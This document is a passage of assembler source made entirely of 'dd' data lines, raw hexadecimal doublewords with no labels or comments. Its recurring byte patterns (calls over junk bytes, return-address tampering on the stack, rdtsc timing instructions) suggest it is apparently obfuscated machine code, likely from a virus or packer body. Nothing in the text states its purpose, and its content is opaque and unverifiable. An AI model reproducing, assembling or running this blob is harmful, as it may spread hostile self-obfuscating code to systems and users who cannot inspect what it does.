		dd 880F0644h, 15h, 0DE8h, 6499B900h, 10A5DE2Bh,	0A9071F37h
		dd 0FE8B50F0h, 5EBB505Bh, 897E19E0h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0ACFA62C3h
		dd 22F2B766h, 6E8h, 874A0300h, 8929AA18h, 4429CD95h, 0DAB35B06h
		dd 4E8006Ah, 0FF000000h, 60001F03h, 0F08BFA8Ah,	8B665061h
		dd 24448BF8h, 8BDA8B04h, 9E86000h, 0DD000000h, 0E7989813h
		dd 0DA654353h, 5EF18B66h, 0A9B9BA66h, 24448961h, 0AE804h
		dd 40940000h, 69A561BEh, 0F07C560Dh, 48D0Fh, 0BB660000h
		dd 585F4955h, 2211BD8Bh, 95FF0644h, 6440081h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5DC35141h, 6970FA1Eh
		dd 3A34E422h, 0B7608589h, 95890647h, 644316Dh, 1B9E9h
		dd 499D0300h, 8B06441Ch, 47B75885h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0B91486E6h
		dd 0C7A3FDh, 18h, 0F699D01h, 0B58B0644h, 647B75Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C7C35242h, 0D858BA6h
		dd 60064430h, 2139B58Bh, 0BF0F0644h, 68961F9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A1C35141h, 423D4B26h
		dd 0A9B39A64h, 0AD5858Bh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0D41A14C3h, 827802C6h
		dd 0E98174F8h, 9, 0D6105EFAh, 0F5A39068h, 4468901h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A2C35545h, 19C295Ah
		dd 0FF1BD8Bh, 66500644h, 3489FB8Bh, 38F0F24h, 66000000h
		dd 0B5FFD98Bh, 647B758h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 25C35545h, 0E952B6CEh, 7CBCDA8Eh, 19099D8Bh
		dd 0AE680644h, 0E9E5E081h, 0Eh,	1770A865h, 4C8C3C4Bh, 0D9593F95h
		dd 48196DDh, 3E825124h,	69BB661Ah, 60858DCFh, 500647B7h
		dd 5250905Fh, 0FFBF6651h, 310F5F5Dh, 5B616051h,	6050585Ah
		dd 61605250h, 585A310Fh, 0DAB86660h, 61616095h,	95FF9061h
		dd 6440081h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0F2C35141h, 0CFB581B3h,	0BD8B3EB3h, 6441E05h, 1C319D8Bh
		dd 6A610644h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0BD43C351h, 7B61FCDCh,	26F4D604h
		dd 10A19D89h, 0BF660644h, 85C743BFh, 6441071h, 3, 83D9BF0Fh
		dd 47B760BDh, 840F0006h, 2Bh, 0F7E5DF81h, 3BE9548Eh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0FBD0C355h, 5031B7F5h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3B8141C3h
		dd 144F505Ch, 8B516370h, 442981BDh, 12E95B06h, 0A1000000h
		dd 0F49B7EB3h, 50146F55h, 9B735357h, 0A5EF35ABh, 71BD83D7h
		dd 3064410h, 48F850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0F7809BC3h, 0C58D0929h
		dd 8306442Eh, 47B760BDh, 840F0006h, 45Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0FEC35040h, 0E9FBB335h
		dd 12h,	1FB13B44h, 0FD3188D1h, 89B81E6Bh, 9228A9EFh, 0B5FF81C2h
		dd 647B760h, 0FF30D380h, 44069995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 7482DCBBh
		dd 6649D6E3h, 8BEE52BBh, 47B754B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0E325256Fh
		dd 0A10C7111h, 0EBA9BF0Ch, 6C76D5Eh, 10001h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 10C35242h, 0D88BED0Eh
		dd 8810Fh, 8B530000h, 44152DBDh, 0BD895B06h, 64408D5h
		dd 840F5750h, 6, 310F5250h, 895F585Ah, 820F2434h, 13h
		dd 0EE9h, 0E6A1A600h, 5CFDE800h, 0F8C4BA72h, 0FFB2C0D6h
		dd 47B760B5h, 0B5BD0306h, 0FF064420h, 441E0195h, 0D59D8B06h
		dd 8B064430h, 47B754B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0CDDAF9D0h, 0D519529h
		dd 858B0644h, 6442E71h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 98C35040h, 0E772A317h, 860F396Dh, 8
		dd 0A19D8B50h, 5F064423h, 0C48689h, 0BD8B0000h,	64410BDh
		dd 0B2DBD8Bh, 958B0644h, 6442F5Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0BAC35141h,	4A9A6503h, 0B1B52988h
		dd 8306441Ch, 508904C2h, 7DBD3320h, 8D064423h, 47CAA085h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0E4BECD47h, 8B86B0C0h, 441D11BDh, 0DFBF0F06h
		dd 8689FE8Bh, 0B8h, 6AD88Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 16C35646h, 9DADE8D0h, 13F2CEA9h
		dd 14E8h, 4AF45A00h, 7DB189C2h,	0CE61F9D9h, 0F4DFA8BAh
		dd 0DF8C1DB9h, 0B5FF5FC8h, 647B760h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 3FC35141h, 0B3878BF8h, 0C867CE04h
		dd 0E1BD8B57h, 5B064407h, 0FF1AE780h
		dd 44296D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 53AADAC4h, 66E18F54h, 0E950FE8Bh
		dd 8, 0F77F642Dh, 88670EAAh, 0F243489h,	0BB66DAB7h, 0B5FF3E64h
		dd 647B760h, 3189BD8Bh,	0BF660644h, 95FF8F63h, 64417D9h
		dd 12E9h, 20908F00h, 0F0B5082Eh, 26D6160Ch, 1E58DAA2h
		dd 83F720CFh, 4414B5BDh, 840F0006h, 3Ah, 5E9h, 0D0050400h
		dd 8B968761h, 6A9650D9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 4D72C355h, 0C86E588Ah
		dd 24F8523Fh, 31E1BD8Bh, 0B5FF0644h, 647B760h, 0FE9h, 739F6C00h
		dd 0DFC88E27h, 0B78CF5D4h, 0F0958F48h, 2E7D95FFh, 6A0644h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0F0C472C3h, 0AA66A965h, 0BB666D57h, 0B5FF002Ch, 647B760h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 3AC35545h
		dd 7C170BD7h, 0B3949323h, 98BB66EEh, 3D8D3164h,	0FF064431h
		dd 44144195h, 0D98B6606h, 0B3EEA2BBh, 85BD832Ah, 206440Ah
		dd 69840Fh, 14E90000h, 0EA000000h, 0A584BE6Dh, 46C9A95Eh
		dd 7FC2583Eh, 0B2252A85h, 8B837A10h, 44159185h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 2BDEB9E7h, 2BDC8AD8h, 442D15BDh, 0C606h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C0C35141h, 0C7981DEDh
		dd 44175985h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0DB5EC7A1h, 0A81BD8Bh
		dd 8B660644h, 0F266E9FAh, 8D89FFFFh, 644104Dh, 44FAC8BBh
		dd 60C18B2Ch, 2F7D8D29h, 81660644h, 618DB6EBh, 1BE1858Dh
		dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 60D505C3h, 1C51BD23h, 95030644h, 6441A79h
		dd 79BD8961h, 50064417h, 8C0Fh,	4890000h, 7DF8024h, 9D01006Ah
		dd 64414EDh, 6AFB8Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 1Ch, 7BC35343h, 1AFB118Dh,	0EB87F351h, 18D19D8Bh
		dd 858D0644h, 648968Ah,	1821BD89h, 0C0830644h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 8D9C552Bh, 7F78059Ch, 50DF8B90h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E8A248F4h
		dd 6, 182DEF8Dh, 0B70F9C30h, 6A5BFEh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 1C35646h, 0B7102540h, 6A14ECh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6C35545h
		dd 95FFF5A1h, 6441825h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 63C35646h, 11E9h, 0EB0F9500h,	28CD61D6h
		dd 0E8B570D6h, 4B8B3C58h, 8D8DA5A0h, 6479A97h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4FC35040h, 3E8620B8h
		dd 9589DD98h, 6441585h,	6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0A70F01C3h, 609FC65Bh
		dd 35CCB866h, 61FB8B66h, 2F998D09h, 0BD830644h,	6442F11h
		dd 81850F01h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 92F0C352h, 331A8D7Ah
		dd 0DDFB025Bh, 12E9026Ah, 40000000h, 4B5F6341h,	7226A604h
		dd 8839180Ch, 8C00AA69h, 7E85050h, 9C000000h, 58B89790h
		dd 0BB66556Ch, 895FD648h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 52232DC3h, 0A379514h
		dd 296D95FFh, 9D290644h, 6441C21h, 0DEFE9h, 0E800h, 815D0000h
		dd 489694EDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 650C7587h, 5E8h, 0DE109600h, 9E86BFCh
		dd 1F000000h, 14236FBAh, 607F6E4h, 5F0DE380h, 56006A5Bh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0C11D6C40h, 76D10567h, 1BD29A4h, 0E9064418h,	0Fh, 0A27FA9ECh
		dd 3862A4F9h, 3EAA478Bh, 8DAB5AD4h, 478B5885h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 10139558h, 60924635h, 0F5B52960h, 2906442Fh,	44302DB5h
		dd 50506106h, 61606052h, 0F61F88Bh, 0FE8B6631h,	489585Ah
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 7E9B916h, 33000000h, 1B747AC3h, 85899A74h
		dd 644067Dh, 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E9B0C353h,	11h, 998C5703h
		dd 1536DB1h, 0F228890Bh, 3B09EEFDh, 25896484h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 94C35242h
		dd 8E985FFh, 0BB560644h, 49D86AC6h, 29FF6A5Fh, 4432A985h
		dd 71B5FF06h, 6A064431h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0D0A6C350h,	1E9AF98h
		dd 0FF0DE3C1h, 44228195h, 131E906h, 6E80000h, 0E5000000h
		dd 9D6ACCE1h, 7DB589F0h, 5F064400h, 810F00B0h, 6, 0B47EE781h
		dd 70E615E4h, 1BA59D03h, 0BF0F0644h, 3C71E4FBh,	0FC830F61h
		dd 0E8000000h, 12h, 6788F76Dh, 23E7A812h, 0E1B55B0Ch, 0C22FE23Ch
		dd 3353D53Ch, 441075BDh, 0F5B5B06h, 9D8BC8B6h, 64410BDh
		dd 0BA73EF80h, 6, 1619BD89h, 0C18B0644h, 89DB529h, 860F0644h
		dd 4, 0DE0EBF66h, 8B04E8C1h, 441E09BDh,	0E2F76606h, 2B11C780h
		dd 0D8589C8h, 0E906442Ah, 8, 528C9AAFh,	5633A7F7h, 8529D18Bh
		dd 6442ED1h, 8F59D8Bh, 0E90644h, 8B000000h, 44197D85h
		dd 859D8906h, 83064402h, 0B53107C0h, 6441951h, 8B00C083h
		dd 0FD03BDAh, 0A83h, 55E900h, 81660000h, 8BA269F7h, 440DF58Dh
		dd 1E18306h, 41840Fh, 14E80000h, 21000000h, 0BA4B1553h
		dd 0C2E05A83h, 365C6137h, 0A78241D1h, 53CE6814h, 2615BD33h
		dd 5F5B0644h, 33DBD8Bh,	0A5830644h, 6440DF5h, 2EF381FEh
		dd 8905A333h, 44197D95h, 0E9FC06h, 8D000000h, 48130DB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0F88BEA03h, 8166006Ah, 56C2A4E7h, 25853160h
		dd 61064409h, 4D95FF5Bh, 2B06441Ch, 442219BDh, 79CB906h
		dd 0E1830000h, 53006AFCh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 89906E50h, 2ECDB777h
		dd 17BDBD8Bh, 0BFFC0644h, 52744494h, 2B49BF66h,	0BAFCC02Bh
		dd 0
		dd 0CCF78166h, 0C233ADB1h, 0D003E8D1h, 7504E983h, 56006AF4h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0E74DD18Ah, 136E0CEh, 442B7185h, 99B50106h, 0D064414h
		dd 88h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
		dd 67C35545h, 0BD89BC70h, 64419F5h, 1A5D9D89h, 958B0644h
		dd 6442F5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	99C35646h, 2D9DC93Eh, 0E88E2ECEh, 9, 6CD88F55h
		dd 182F78D5h, 319D8BC2h, 5B064426h, 6798D8Bh, 0C3810644h
		dd 234427Ah, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0BF0F5818h, 51006AFAh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 47F5913Dh, 33810964h
		dd 0C5850908h, 8306440Ch, 442CADBDh, 840F0006h,	77h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3FC35343h, 84F30017h
		dd 0D9BF0FB8h, 0B8h, 5E800h, 0B1D20000h, 5BDA9290h, 4E558D8Dh
		dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0FFEC70C3h, 0E955745Ch, 0Fh, 5F34E7A3h, 382A06D2h
		dd 9597E303h, 0FF4E0CC8h, 99D8BE1h, 83064426h, 441071BDh
		dd 840F0006h, 494h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0CEC35040h, 5556AD4h,	8B31A2C7h, 441925BDh
		dd 71BD8306h, 1064410h,	479840Fh, 860F0000h, 6,	8819589h
		dd 0BD830644h, 6441071h, 2A860F03h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 8B57C357h, 8BA30D64h, 4431B1BDh, 8D896006h, 6443301h
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 74D8C357h, 28F364A1h, 17EEE3CCh
		dd 0AF0AC781h, 0E1807EB5h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0CF886F59h
		dd 0E6BF9E6Ah, 19CFBB66h, 840FC90Ah, 13Ch, 7E9h, 0C5C26E00h
		dd 285CF358h, 0AD5858Bh, 6A0644h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0BABE2BC3h, 4CE165B8h
		dd 0BF661058h, 0D7806ED0h, 0BD8533C2h, 6A064403h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0D97CC351h, 6C47ADDAh, 0D33BBEBAh, 50F88B66h, 0C28B6660h
		dd 61D08B66h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0B9D5C356h,	8A0FEE5Ch
		dd 0Ch,	68C0Fh,	8D890000h, 6441BA5h, 0BD89006Ah, 6441EA9h
		dd 97185668h, 4EBB6612h, 24348128h, 12881BA9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B4C35343h, 4C8D4C24h
		dd 9FB55104h, 0AE9C2h, 0C3820000h, 8D84663Bh, 16D04474h
		dd 8195FFh, 0B5890644h,	6442059h, 0E3816651h, 895B02F8h
		dd 47B76085h, 659D8B06h, 0E9064424h, 219h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6CC35545h, 9D89FE8Bh
		dd 64420F9h, 0B758858Bh, 0F88B0647h, 1800C7h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 37E483C3h, 9D315EC3h, 64402D1h, 0B75CB58Bh, 6A0647h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 476DBDC3h, 0FF811DACh, 0ECBBAFDBh, 8B075A50h, 44300D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0E9615AEAh, 6A068933h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BB6BC353h
		dd 81D88BBFh, 128D37E3h, 0D5858B71h, 6A06440Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 5233C357h, 4096D0C4h, 7550C4BBh, 446894Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 2AC35242h, 81A74073h
		dd 0CD15B0EFh, 0CE8503Ch, 0A2000000h, 78121731h, 0F353D732h
		dd 0FFB6DE9h, 68Ch, 0F525000h, 5B585A31h, 66243489h, 6699EFBFh
		dd 0B5FFFB8Bh, 647B758h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0BBC35343h, 6FD2BE13h, 0FDBD890Bh, 6806442Ch
		dd 0EA801B8Bh, 5880Fh, 75BF0000h, 814D322Fh, 0E8742404h
		dd 6A159Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 81B910C3h, 0BD8B5343h, 6442145h, 60858D5Fh
		dd 6A0647B7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 51E2C355h, 906F352Bh, 0F9BB9050h
		dd 897441F7h, 4406D185h, 8195FF06h, 6A064400h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 311FC356h, 442BFD9Dh, 9D8B6106h, 64418D5h, 107185C7h
		dd 30644h, 10E80000h, 8C000000h, 0D5D7F44Dh, 0F66191B1h
		dd 0BCFC297Ah, 0B34CC5BEh, 0BD835F6Bh, 647B760h, 36840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 7D5FC357h, 2DE959A7h, 0E9000000h
		dd 0Dh,	0FC82940Fh, 0A8316DAFh,	0A64D569Ch, 0C30505Dh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	18D18D09h
		dd 8E0F0644h, 6, 1BD59D8Bh, 6A0644h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A13DB8C3h
		dd 821C9553h, 0BD834834h, 6441071h, 0C6850F03h,	6A000003h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 988BC357h, 0C58531F5h, 8306442Dh,	47B760BDh
		dd 840F0006h, 395h, 0FFDEB70Fh,	47B760B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 9A5C2534h, 60BDBF3Bh, 0BE95A7Ch, 0C4000000h,	60F13B84h
		dd 63CAF960h, 95FF601Eh, 6440699h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 76C35343h, 50FE88F8h, 8BE7C011h
		dd 54B58B54h, 0E80647B7h, 7, 1E1ED908h,	8B434D75h, 442F159Dh
		dd 6C75F06h, 10001h, 21199D31h,	89500644h, 6A2434h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F83C0C3h, 0B70FFEB7h, 60B5FFFBh, 600647B7h,	18F1858Bh
		dd 858B0644h, 6440D79h,	195FF61h, 6A06441Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0D328C351h, 4F2E7163h, 0E4F38102h, 8B6BCEA8h, 47B754B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 3C6240C8h, 9D093375h, 64410BDh, 2E71858Bh
		dd 6A0644h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 4617C5C3h, 0D99D8BECh
		dd 89064430h, 0C486h, 5D958B00h, 0F06442Fh, 0C84h, 68F0F00h
		dd 89000000h, 441CB985h, 4C28306h, 88E0Fh, 0F500000h, 83h
		dd 50895F00h, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 2499F961h, 5B73FD3h, 0FFB70FE1h
		dd 0CAA0858Dh, 6A0647h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0A9F29CC3h, 3E34FF5h, 89F98B66h
		dd 0B886h, 7E900h, 0A6810000h, 10C2FB99h, 6A006A2Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F8C5C357h, 60B5FFF1h, 0F0647B7h, 58Bh, 0F3816600h
		dd 95FFDFBCh, 644296Dh,	2BB19D8Bh, 0B7500644h, 24348913h
		dd 0FB10F0BFh, 60B5FF23h, 8B0647B7h, 4406C59Dh,	0D995FF06h
		dd 0FC064417h, 0B5BD83F9h, 64414h, 3F840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0B5179AC3h, 6390A885h, 0A25BD89h, 0F1BB0644h, 8933D36Fh
		dd 440DC98Dh, 8B575006h, 34895FDEh, 77BF6624h, 60B5FF35h
		dd 6A0647B7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 57F5C350h, 6D97EB5Eh, 0FEF0D7E9h
		dd 95FFA2B7h, 6442E7Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0FEC35545h, 89BA69B8h, 0FE9h,	0B3D6FD00h
		dd 0E8AED3A5h, 5DFD1B6Bh, 66079641h, 0B760B5FFh, 95090647h
		dd 6440A8Dh, 144195FFh,	6A0644h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 37227C3h, 8B515E1Dh
		dd 4407B9BDh, 85BD8306h, 206440Ah, 40840Fh, 85290000h
		dd 6441739h, 1591858Bh,	6A0644h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E5CD9C3h, 0DD5D2141h
		dd 85BD8B60h, 0B806442Ah, 387EA552h, 0C661h, 85C7DA8Bh
		dd 6441759h, 0
		dd 0CE9h, 0D3841C00h, 0F906C31Fh, 7DC40500h, 0F3ABE94Eh
		dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0B3BF91C3h, 55EA87BCh, 66D20885h,	303BC781h
		dd 9D8BC18Bh, 64407C5h,	1BE1858Dh, 9E80644h, 79000000h
		dd 97029FF5h, 504CF93Ah, 2799D8Bh, 905F0644h, 0DE9h, 7C779800h
		dd 50A27483h, 0A79344D5h, 9050849Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 46C35242h, 0FDABA39Eh, 0AF332E2Dh
		dd 66006A5Ah, 6A1A12BFh, 0DE800h, 2FC70000h, 649A5791h
		dd 581C2B32h, 371D240h,	440465BDh, 0BD035F06h, 6440C5Dh
		dd 0A622858Dh, 6A0648h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0E4FF84C3h, 5B52FD33h, 5005C083h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0CD07C351h, 6AFE8Ah, 0CE8006Ah
		dd 98000000h, 44C63E0Ch, 6426C0CAh, 29D114FEh, 441901B5h
		dd 95FF5B06h, 6441825h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 34C35040h, 6F2BBBEDh,	8D8D1C70h, 6479A97h
		dd 0FFDA8B66h, 0DE953D1h, 14000000h, 559BA5EBh,	0CB896C4Ch
		dd 65BBD94Fh, 11BD835Bh, 106442Fh, 6A850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 65620BC3h, 216B7E03h, 26AA567h, 0C9D8D89h, 50500644h
		dd 5F616057h, 2404895Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 3FC35141h, 7ED8529h, 8D890644h, 6441761h
		dd 296D95FFh, 9D890644h, 644306Dh, 0E79E9h, 0E800h, 815D0000h
		dd 48A62CEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 60FAC235h, 0C63F7BFh, 1D95313Ah
		dd 6106440Eh, 8E8h, 3548DD00h, 3FD611EEh, 13E9D0h, 303E0000h
		dd 31FDE7C2h, 0EC486ED8h, 7CE7DB37h, 6A85BF93h,	6A5F9Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7C7D52C3h, 11598741h, 0BD8BE8AFh, 64402C9h, 8B58858Dh
		dd 0D8B30647h, 229DBD8Bh, 0BF500644h, 67C4E923h, 0F240489h
		dd 1485h, 0FE900h, 0A4020000h, 84AA753Dh, 834D3551h, 18CBE417h
		dd 59D8BAEh, 6406441Ch,	35FFh, 840F0000h, 6, 146DB589h
		dd 89640644h, 25h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1804h, 0C3504000h, 0DC4FA80Ah, 898589D6h
		dd 6606442Fh, 85FFF88Bh, 64408E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0D5C35747h,	4560BCBEh, 90A78ECCh
		dd 8166FF6Ah, 0FF491FE3h, 4430F5B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0E6DAD80Dh
		dd 3830Fh, 0B70F0000h, 8195FFDEh, 0E9064422h, 14Eh, 0B0D9B70Fh
		dd 0AE900h, 0F78C0000h,	72EA5231h, 51A64908h, 9D8970E6h
		dd 6441909h, 0BD3371E4h, 6442285h, 830F613Ch, 122h, 12E8h
		dd 0F91E7A00h, 53E14228h, 744705D5h, 0F815AE16h, 8913B621h
		dd 4418358Dh, 0B60F5B06h, 6BAC8h, 9D8B0000h, 6442DFDh
		dd 0F88BC18Bh, 6004E8C1h, 158D8BF8h, 6106442Ah,	9E2F766h
		dd 4408058Dh, 29C82B06h, 440E4185h, 0FD18B06h, 68Eh, 75852900h
		dd 0E9064430h, 0Dh, 0D6F179C8h,	25D445Fh, 5169B1DDh, 9E9E0h
		dd 0BF0F0000h, 57EB81F9h, 8B45571Ch, 44148D85h,	9DBD8B06h
		dd 0E806441Fh, 7, 8E06BEDFh, 0E955A7B9h, 5, 5785AA7Ch
